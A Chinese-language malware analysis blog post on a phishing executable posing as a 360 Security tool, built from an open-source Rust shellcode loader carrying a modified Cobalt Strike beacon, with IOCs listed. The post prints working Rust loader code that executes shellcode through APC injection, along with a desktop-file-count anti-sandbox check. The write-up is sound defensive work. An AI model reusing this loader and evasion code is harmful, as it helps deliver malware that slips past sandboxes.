最近****拿到一个钓鱼样本,分析记录一下。
样本名称为“360自查工具.exe”,还伪造了360的签名,看来是想伪装成360安全卫士模块。
但是这个样本的图标怎么是notepad++?看了下资源节,发现里面嵌了俩图标,后来才知道是Loader的生成模板默认是notepad++图标,这也太不严谨了,360自查工具顶着个notepad++的图标也太奇怪了。
在虚拟机运行下看下行为先,可以看到本体直接外联C2了,没有其他的文件释放持久化等操作。
放到IDA里看一下,比较乱,能看出是rust编译的,而且很多函数在里面没法被正常F5,还有很多rust运行时的函数。
发现了可疑的字符串:
说明样本可能会做一些环境检查,并且有调用cmd的行为。
根据一些主要函数的调用,推测可能是要通过APC执行shellcode:
现在大概就有分析思路了,可以把断点下在这些关键行为函数上,进行进一步分析。
但这个样本带了pdb路径:
那分析起来就很简单了,看来是直接拿了一个开源的Loader来用了,搜一下是个RustLoader,传入shellcode,生成rust编译的免杀木马:
根据项目中的反沙箱描述,看到了跟样本中一致的行为:
一样的icon:
看一下Loader的生成过程,主要是加密shellcode、用处理后的shellcode进行Loader编译、给编译出的Loader进行签名。
Rust Loader主要逻辑如下,解密shellcode,分配内存,copy进去,修改内存属性,在当前进程插入APC执行shellcode:
`fn main() {` `//反沙箱` `flow_time();` `ip();` `check_desktop();` `//forgery::bundle::bundlefile();` `let encrypted_data = include_bytes!("encrypt.bin");` `let uuid_bytes = include_bytes!("uuidkey.txt");` `let uuid_str = str::from_utf8(uuid_bytes).expect("Failed to read UUID string");` `let uuid = uuid::Uuid::parse_str(uuid_str.trim()).expect("Invalid UUID string");` `let decrypted_data = decrypt_with_uuid(encrypted_data, &uuid);` `unsafe {` `let shellcode = std::slice::from_raw_parts(decrypted_data.as_ptr(), decrypted_data.len());` `let shellcode_size = shellcode.len();` `let ntdll = LoadLibraryA(b"ntdll.dll\0".as_ptr());` `if ntdll == 0 {` `panic!("[-]LoadLibraryA failed: {}!", GetLastError());` `}` `let fn_nt_queue_apc_thread_ex = GetProcAddress(ntdll, b"NtQueueApcThreadEx\0".as_ptr());` `let nt_queue_apc_thread_ex: extern "C" fn(HANDLE, isize, *mut c_void, isize, isize, isize) =` `transmute(fn_nt_queue_apc_thread_ex);` `let addr = VirtualAlloc(` `null(),` `shellcode_size,` `MEM_COMMIT | MEM_RESERVE,` `PAGE_READWRITE,` `);` `if addr.is_null() {` `panic!("[-]VirtualAlloc failed: {}!", GetLastError());` `}` `copy(shellcode.as_ptr(), addr.cast(), shellcode_size);` `let mut old = PAGE_READWRITE;` `let res = VirtualProtect(addr, shellcode_size, PAGE_EXECUTE, &mut old);` `if res == FALSE {` `panic!("[-]VirtualProtect failed: {}!", GetLastError());` `}` `let handle = GetCurrentThread();` `if handle == 0 {` `panic!("[-]OpenProcess failed: {}!", GetLastError());` `}` `nt_queue_apc_thread_ex(handle, 1, addr, 0, 0, 0);` `}``}`
样本放入调试器,断点下在VirtualProtect函数上,第一个参数是shellcode所在地址,第二个参数是shellcode大小,把这块地址的内存dump出来:
将dump出的内存放入IDA,可以看到很明显的反射加载逻辑,根据经验是CobaltStrike的,但是这个反射加载Loader并不是原生的,MZ头和PE头以及一些其他数据是经过魔改的:
将这个shellcode放到Loader中执行,可以看到有解密一些东西的行为:
将解密出的内容dump出来,看到是一些beacon配置,但也不是默认的,应该是通过C2 Profile进行了魔改。
外联C2 81.70.84.120 :
差不多分析完了,这个样本伪装成360安全卫士的程序,并copy了360的签名(虽然是无效的),是基于经过魔改的CobaltStrike Payload通过一个开源的Rust Loader生成的。
反沙箱还是有点用的,微步沙箱没跑出来C2,说明在check_desktop()这一步没通过校验,这里是通过桌面文件数量来进行判断的:
`fn check_desktop() {` `// 获取桌面路径` `let desktop_path = get_desktop_path().expect("无法获取桌面路径");` `let entries = match fs::read_dir(&desktop_path) {` `Ok(entries) => entries,` `Err(_) => {`` ` `std::process::exit(1);` `}` `};` `let file_count = entries.filter_map(|entry| entry.ok()).count();` `// 检查文件数量是否小于 10` `if file_count < 6 {` `std::process::exit(1);` `} else {` `}``}`
C2在拿到样本的当天被标黑,速度还是可以的:
IOC:
81[.]70[.]84[.]120
3c6d2e7eddb90d602adfabd7f3d451e1
来啊,一起当保安↓↓